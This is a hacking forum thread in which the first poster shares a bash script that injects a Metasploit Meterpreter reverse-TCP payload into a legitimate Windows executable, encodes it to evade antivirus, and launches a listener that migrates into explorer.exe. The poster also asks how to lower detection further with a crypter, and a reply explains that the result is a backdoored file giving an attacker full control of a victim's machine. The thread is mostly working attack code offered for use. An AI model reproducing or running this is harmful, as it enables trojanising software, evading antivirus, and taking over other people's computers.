Login Register






[bash]Add metasploit payload to windows exe filter_list
Author
Message
[bash]Add metasploit payload to windows exe #1
Hi all I've been working on this on and off for the past few days and thought I would share with you have some ideas to improve it but struggling a little with the code so if any of you guys can help would be much appreciated Wink

Basically you enter in your server details or if you prefer input your network interface and let the script do the work, then point the script to your target .exe file and it injects the meterpreter payload, adds in a migrate 2 explorer post script, crypts it (not FUD, but have around 50% detect rate), and finally starts the meterpreter handler for you, all that's left is to get your executable onto the target machine.

Code:
#!/bin/bash # Make sure only root can run our script if [[ $EUID -ne 0 ]]; then echo "This script must be run as root" 1>&2 exit 1 fi rm -rf ShellCode #Gather variables echo -e "Would you like to automatically set up LHOST: \c" read auto_man if [[ "$auto_man" == "n" ]] while [[ "$IP == "" ]] do then echo -e "Enter LHOST: \c" read IP done else echo "Your availabe network devices" cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' interface="" while [["interface" == ""]] do echo -e "What is your network interface: \c" read interface done #get OS name OS=`uname` IO="" # store IP case $OS in Linux) IP=`ifconfig $interface | grep 'inet addr:' | grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;; *) IP="Unknown";; esac fi echo -e "Which port would you like to listen on: \c" read port echo -e "Enter the full path to the windows exe: \c" read input_file echo -e "Enter the output filename, including the extension: \c" read output_file echo -e "How many times to encode: \c" read enumber echo " Using IP: " $IP echo " Working, please wait. This could take a few minutes..." #showtime :) msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R | msfencode -e x86/shikata_ga_nai -c $enumber -t exe -x $input_file -o $output_file mkdir ShellCode mv $output_file ShellCode echo " Starting the meterpreter listener..." sleep 2 msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port AutoRunScript=' migrate2 explorer.exe' E

Still want to get the detection rate down so if anyone knows of a crypter to suit this or can point me in the right direction to make my own would be grateful.

Also would like to add in the tab auto complete function to make it a bit more user friendly.

And finally I will add an option to change the post exploit script when I have time


NOTE: requires the metasploit framework and the following libraries
mingw32-runtime
mingw-w64
mingw
gcc-mingw32
mingw32-binutils

Reply

RE: [bash]Add metasploit payload to windows exe #2
gud in sound but really i don't understand this thread, can u explain it in detail.

1010011001111010010010101
0110G10H10O101S010T10101
1010100010100100101001001



Reply

RE: [bash]Add metasploit payload to windows exe #3
In short it's an automation script for bash (Linux) to inject shell code, in this case a meterpreter shell into a legitimate windows executable and then attempts to encrypt that data to bypass antivirus software allowing the code to executed on the remote machine giving the attacker full control of their system.

The script itself gathers information from the user about the configuration of their network and then passes that information on to the metasploit framework which injects the code and then crypts it giving you a new malicious (backdoord) .exe

Reply